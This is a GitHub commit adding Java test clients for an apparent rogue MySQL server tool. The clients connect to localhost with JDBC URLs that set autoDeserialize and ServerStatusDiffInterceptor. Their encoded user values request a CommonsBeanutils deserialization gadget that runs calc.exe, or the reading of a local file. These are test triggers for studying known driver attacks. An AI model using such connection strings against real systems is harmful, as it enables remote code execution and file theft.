This repository has been archived by the owner on Feb 21, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 79
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
123 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
16 changes: 16 additions & 0 deletions
16
fake-mysql5-test/src/main/java/me/n1ar4/fake/test/mysql5/MySQL5CB_DBase.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
package me.n1ar4.fake.test.mysql5; | ||
|
||
import java.sql.DriverManager; | ||
|
||
public class MySQL5CB_DBase { | ||
public static void main(String[] args) { | ||
String url = "jdbc:mysql://127.0.0.1:3308/test?" + | ||
"detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; | ||
try { | ||
Class.forName("com.mysql.jdbc.Driver"); | ||
DriverManager.getConnection(url); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} |
17 changes: 17 additions & 0 deletions
17
fake-mysql5-test/src/main/java/me/n1ar4/fake/test/mysql5/MySQL5CB_SBase.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
package me.n1ar4.fake.test.mysql5; | ||
|
||
import java.sql.DriverManager; | ||
|
||
public class MySQL5CB_SBase { | ||
public static void main(String[] args) { | ||
String url = "jdbc:mysql://127.0.0.1:3308/test?" + | ||
"autoDeserialize=true&statementInterceptors=" + | ||
"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; | ||
try { | ||
Class.forName("com.mysql.jdbc.Driver"); | ||
DriverManager.getConnection(url); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} |
16 changes: 16 additions & 0 deletions
16
fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6CB_DBase.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
package me.n1ar4.fake.test.mysql6; | ||
|
||
import java.sql.DriverManager; | ||
|
||
public class MySQL6CB_DBase { | ||
public static void main(String[] args) { | ||
String url = "jdbc:mysql://127.0.0.1:3308/test?" + | ||
"detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; | ||
try { | ||
Class.forName("com.mysql.jdbc.Driver"); | ||
DriverManager.getConnection(url); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} |
17 changes: 17 additions & 0 deletions
17
fake-mysql6-test/src/main/java/me/n1ar4/fake/test/mysql6/MySQL6CB_SBase.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
package me.n1ar4.fake.test.mysql6; | ||
|
||
import java.sql.DriverManager; | ||
|
||
public class MySQL6CB_SBase { | ||
public static void main(String[] args) { | ||
String url = "jdbc:mysql://127.0.0.1:3308/test?" + | ||
"autoDeserialize=true&statementInterceptors=" + | ||
"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; | ||
try { | ||
Class.forName("com.mysql.jdbc.Driver"); | ||
DriverManager.getConnection(url); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} |
17 changes: 17 additions & 0 deletions
17
fake-mysql8-test/src/main/java/me/n1ar4/fake/test/mysql8/MySQL8CB_SBase.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
package me.n1ar4.fake.test.mysql8; | ||
|
||
import java.sql.DriverManager; | ||
|
||
public class MySQL8CB_SBase { | ||
public static void main(String[] args) { | ||
String url = "jdbc:mysql://127.0.0.1:3308/test?" + | ||
"autoDeserialize=true&queryInterceptors=" + | ||
"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU="; | ||
try { | ||
Class.forName("com.mysql.cj.jdbc.Driver"); | ||
DriverManager.getConnection(url); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} |
16 changes: 16 additions & 0 deletions
16
fake-mysql8-test/src/main/java/me/n1ar4/fake/test/mysql8/MySQL8ReadBase.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
package me.n1ar4.fake.test.mysql8; | ||
|
||
import java.sql.DriverManager; | ||
|
||
public class MySQL8ReadBase { | ||
public static void main(String[] args) { | ||
String url = "jdbc:mysql://127.0.0.1:3308/test?user=" + | ||
"base64ZmlsZXJlYWRfQzpcUHJvZ3JhbSBGaWxlc1xKYXZhXGpkay0xN1xsaWJcc3JjLnppcA=="; | ||
try { | ||
Class.forName("com.mysql.cj.jdbc.Driver"); | ||
DriverManager.getConnection(url); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} |
16 changes: 16 additions & 0 deletions
16
fake-mysql8-test/src/main/java/me/n1ar4/fake/test/mysql8/MySQL8ReadOtherPath.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
package me.n1ar4.fake.test.mysql8; | ||
|
||
import java.sql.DriverManager; | ||
|
||
public class MySQL8ReadOtherPath { | ||
public static void main(String[] args) { | ||
String url = "jdbc:mysql://127.0.0.1:3308/test?user=" + | ||
"fileread_C:\\\\Program Files\\\\Java\\\\jdk-17\\\\lib\\\\src.zip"; | ||
try { | ||
Class.forName("com.mysql.cj.jdbc.Driver"); | ||
DriverManager.getConnection(url); | ||
} catch (Exception e) { | ||
e.printStackTrace(); | ||
} | ||
} | ||
} |